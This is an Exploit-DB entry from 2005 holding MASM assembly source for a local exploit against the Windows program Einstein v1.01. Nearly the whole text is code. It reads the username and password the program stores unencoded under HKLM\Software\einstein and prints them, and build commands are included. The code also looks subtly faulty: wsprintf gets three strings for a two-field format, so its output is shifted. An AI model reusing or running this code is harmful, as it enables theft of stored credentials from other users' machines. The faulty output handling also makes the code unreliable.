Exploit-DB #848
Description: Einstein 1.01 - Local Password Disclosure (ASM)
Type: local
Platform: windows
Date: 2005-02-28
Author: illwill

Exploit:
; Nothing Special other than the program doesnt encode the user/pass in the registry.
; Einstein v1.01 - http://www.Bfriendly.com some crappy file school sharing program
; made because i think C is overkill for these types of local exploits,
; shit we can does this in vbs/bat too if ya want
;Compiles in Masm
;c:\Masm32\BIN\ml.exe /c /coff /Cp einstein.asm
;c:\Masm32\BIN\Link.exe /SUBSYSTEM:CONSOLE /LIBPATH:c:\MASM32\lib einstein.obj

.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib
     literal MACRO quoted_text:VARARG
       LOCAL local_text
       .data
         local_text db quoted_text,0
       .code
       EXITM <local_text>
     ENDM
     SADD MACRO quoted_text:VARARG
       EXITM <ADDR literal(quoted_text)>
     ENDM
.data
   SubKey            db "Software\\einstein",0
   szUser            db "username",0
   szPass            db "password",0
   noExeem           db "Einstein v1.01 is not installed on your pc!",0
   Theoutput  db   '_______________________________________________________________',13,10
              db   '*               Einstein v1.01 Local  Pass Exploit            *',13,10
              db   '*                    Based On Kozans code in C                *',13,10
              db   '*                by illwill  - xillwillx@yahoo.com            *',13,10
              db   '*_____________________________________________________________*',13,10
              db   '                      UserName: %s                             ',13,10
              db   '                      Password: %s                             ',13,10,0
   KeySize    DWORD 255
.data?
    TheIPData           db 64 dup (?)
    TheUSERData         db 64 dup (?)
    ThePASSData         db 64 dup (?)
    TheReturn           DWORD ?
    strbuf              db 258 dup (?) 
.code
start:
    invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr SubKey,0,KEY_READ,addr TheReturn
     .IF eax==ERROR_SUCCESS
        invoke RegQueryValueEx,TheReturn,addr szUser,0,0,addr TheUSERData, addr KeySize
                        .IF KeySize < 2
                             invoke lstrcpy,addr TheUSERData,SADD("NOT FOUND")
                        .ENDIF
        invoke RegQueryValueEx,TheReturn,addr szPass,0,0,addr ThePASSData, addr KeySize
                         .IF KeySize < 2
                             invoke lstrcpy,addr ThePASSData,SADD("NOT FOUND")
                        .ENDIF
        invoke wsprintf, addr strbuf, addr Theoutput,addr TheIPData,addr TheUSERData,addr ThePASSData
        invoke StdOut, addr strbuf
     .ELSE  
        invoke StdOut, addr noExeem  
     .ENDIF
    invoke RegCloseKey , TheReturn
   Invoke ExitProcess,0
end start

; milw0rm.com [2005-02-28]